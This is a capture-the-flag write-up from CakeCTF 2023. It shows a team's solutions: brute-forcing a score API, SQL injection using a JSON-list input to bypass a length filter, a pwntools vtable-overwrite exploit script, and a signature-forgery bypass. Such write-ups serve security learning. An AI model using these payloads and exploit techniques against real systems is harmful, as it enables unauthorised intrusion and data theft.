2023 Cake CTF Write Up

Team Name:WAN
Rank:142/729
Link:https://2023.cakectf.com/teams/2247781930/

Before all

While I was at my school Feild Day, my team members(Aukro & Naup) in WAN invited me to participate in this CTF XD.
Beside the Welcome and Survey challenges, I solved two web challenges and Naup solved a pwn challenge this time, not bad though.

Write up

TOWFL

Solver : Whale120

An exam web application which would generate some strange sentences with unknow characters every time and you have to get flag by getting a full mark on it.
There are a hundred strange problems, after a try on this application with Burp Suite, I found out two key points:

  • The submition would be post to path /api/submit and the submission result can be get by path:/api/score. The statements would be the same every time if the sessions are the same.
  • It would return your score every time.
    So my solution is to enumerate the answer of a problem every time by sending packages with the same session and check whether it’s right by the increase/decrease of score.
    about 400 tries, I finally get flag!!!
    Finall packets:
  • Submit
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST /api/submit HTTP/1.1
    Host: towfl.2023.cakectf.com:8888
    Content-Length: 221
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
    Content-Type: application/json
    Accept: */*
    Origin: http://towfl.2023.cakectf.com:8888
    Referer: http://towfl.2023.cakectf.com:8888/
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: session=.eJwFwQkNgDAMAEAvVdB3HbjptwQNBO_cvTBPww2G0TaaNUzJxcgdjbKuLVa4InJ8nDJaSQ-SrLbaV7q6Sh2E7wcTBRSv.ZU8oLA.Eg6KzOfgQ2jRkpXYuYEZaJp-mXw
    Connection: close

    [[1,0,3,1,1,3,3,0,1,0],[0,3,3,0,1,3,0,0,0,1],[2,1,3,3,0,3,3,2,2,1],[1,2,2,0,2,0,2,2,2,2],[2,3,2,2,0,3,3,1,2,3],[2,0,0,3,2,1,0,0,0,0],[3,1,0,1,0,0,1,2,2,2],[0,2,3,2,3,3,0,0,0,2],[2,2,2,0,0,0,2,0,2,1],[3,1,2,2,0,1,1,2,3,1]]
  • Get score
    1
    2
    3
    4
    5
    6
    7
    8
    9
    GET /api/score HTTP/1.1
    Host: towfl.2023.cakectf.com:8888
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
    Accept: */*
    Referer: http://towfl.2023.cakectf.com:8888/
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: session=.eJwFwQkNgDAMAEAvVdB3HbjptwQNBO_cvTBPww2G0TaaNUzJxcgdjbKuLVa4InJ8nDJaSQ-SrLbaV7q6Sh2E7wcTBRSv.ZU8oLA.Eg6KzOfgQ2jRkpXYuYEZaJp-mXw
    Connection: close
    Finall Result:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    HTTP/1.1 200 OK
    Server: nginx/1.21.6
    Date: Sat, 11 Nov 2023 07:37:40 GMT
    Content-Type: application/json
    Content-Length: 112
    Connection: close
    Vary: Cookie
    Set-Cookie: session=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; HttpOnly; Path=/

    {"data":{"flag":"\"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}\"","score":100},"status":"ok"}
    My arms were almost broken by brute forcing through this…

Country DB

Solver : Whale120

An simple web application use to search country ID by input two charaters every time.
Its backend is setup by sqlite3 and python flask, and it would filter user input by this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")

code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")

name = db_search(code)
if name is None:
flask.abort(404, "No such country")

return {'name': name}

Search query:

1
2
3
4
5
6
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]

And I was stucked at here because I was thicking about SQL Injection with two characters
After about 30 minutes, I tried to send packages like this while I was testing sqlite and list container on python:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/search HTTP/1.1
Host: countrydb.2023.cakectf.com:8020
Content-Length: 13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://countrydb.2023.cakectf.com:8020
Referer: http://countrydb.2023.cakectf.com:8020/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"code":["a", "b"]}

And there was a 500 error code but not 400, which means that this can passed the length filter!!!
So I constructed my payload into this:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/search HTTP/1.1
Host: countrydb.2023.cakectf.com:8020
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://countrydb.2023.cakectf.com:8020
Referer: http://countrydb.2023.cakectf.com:8020/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"code":["CA') UNION SELECT FLAG FROM FLAG --","Rahlin<3"]}

Because python would consider the json of parameter code a list with legth 2, although sqlite can’t accept a list like object, but it can be a string if I add a annotation -- in the middle of my payload. Base on these, this UNION SQL Injection payload is effective!
Finall Request:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sun, 12 Nov 2023 06:57:06 GMT
Content-Type: application/json
Content-Length: 55
Connection: close

{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}

vtable4b

Solver : Naup

C++ pwn with vtable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import * 


r=remote("vtable4b.2023.cakectf.com",9000)


uns_addr = r.recvuntil(b"\n\n1.")
addr = uns_addr.split(b"\n\n1")[0][-14:]
print(addr)
r.recv()


r.send(b"3\n")
heap_data = r.recvuntil(b"\n\n1.")


print(heap_data)
t_address = heap_data.split(b"\n")[9][:14]
print(t_address)

r.recv(timeout=1)
r.send(b"2")

r.recvuntil(b": ",timeout=1)
r.send((b'A'*8)+p64(int(addr,16))+(b"A"*8)*2+p64(int(t_address,16)))

print("1111")


r.interactive()

simple signature

Solver : No one :<

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal


flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")

p = getStrongPrime(512)
g = 2


def keygen():
while True:
x = getRandomRange(2, p-1)
y = getRandomRange(2, p-1)
w = getRandomRange(2, p-1)

v = w * y % (p-1)
if GCD(v, p-1) != 1:
continue
u = (w * x - 1) * inverse(v, p-1) % (p-1)
return (x, y, u), (w, v)


def sign(m, key):
x, y, u = key
r = getRandomRange(2, p-1)

return pow(g, x*m + r*y, p), pow(g, u*m + r, p)


def verify(m, sig, key):
w, v = key
s, t = sig

return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p


def h(m):
return int(sha512(m.encode()).hexdigest(), 16)


if __name__ == '__main__':
magic_word = "cake_does_not_eat_cat"
skey, vkey = keygen()

print(f"p = {p}")
print(f"g = {g}")
print(f"vkey = {vkey}")

signal.alarm(1000)

while True:
choice = input("[S]ign, [V]erify: ").strip()
if choice == "S":
message = input("message: ").strip()
assert message != magic_word

sig = sign(h(message), skey)
print(f"(s, t) = {sig}")

elif choice == "V":
message = input("message: ").strip()
s = int(input("s: ").strip())
t = int(input("t: ").strip())

assert 2 <= s < p
assert 2 <= t < p

if not verify(h(message), (s, t), vkey):
print("invalid signature")
continue

print("verified")
if message == magic_word:
print(f"flag = {flag}")
sys.exit(0)

else:
break

I was stucking on cauculate the values of x or u or r, but not thinking about bypass the verification QAQ.
And I found out the solution after contest, which I change the signature value s into pow(2, (h(m)-1)*inverse(w, p-1), p) and signature value t into pow(2, inverse(-v, p-1), p), this can easily bypass the verification without knowing the value of every keys🙃.
Finall Result:

1
2
3
4
5
6
7
8
9
p = 10647372643515294188613364246580714333899035615886461920553204897512120035419331572653490127930105043004421946163174341296039760125995963183071647227964223
g = 2
vkey = (3154169627652715033823691175914847360154919611079751979446526872180816619885875172530912258132864894336835408995411971200889524417841637789989529476245405, 136210361280874867379491730139253382027285573837820370104888494153368648034011688280317570892104279168647693474707565116107130587269938015003397275623795)
[S]ign, [V]erify: V
message: cake_does_not_eat_cat
s: 1021697234659177252986732545301322121439946801777350689875956367850811945627880446216662609002410146265708935443983207028242440080368093165670389367929688
t: 1754090466382685630025914338678139542115963951701712161628888642219899969991926529183436091657552636597126969513929182387732511510952195215254750241565249
verified
flag = CakeCTF{does_yoshiking_eat_cake_or_cat?}

After all

We have only three members in our team and we aren’t as professional as other teams, so a good experience and performance, keep going on!
image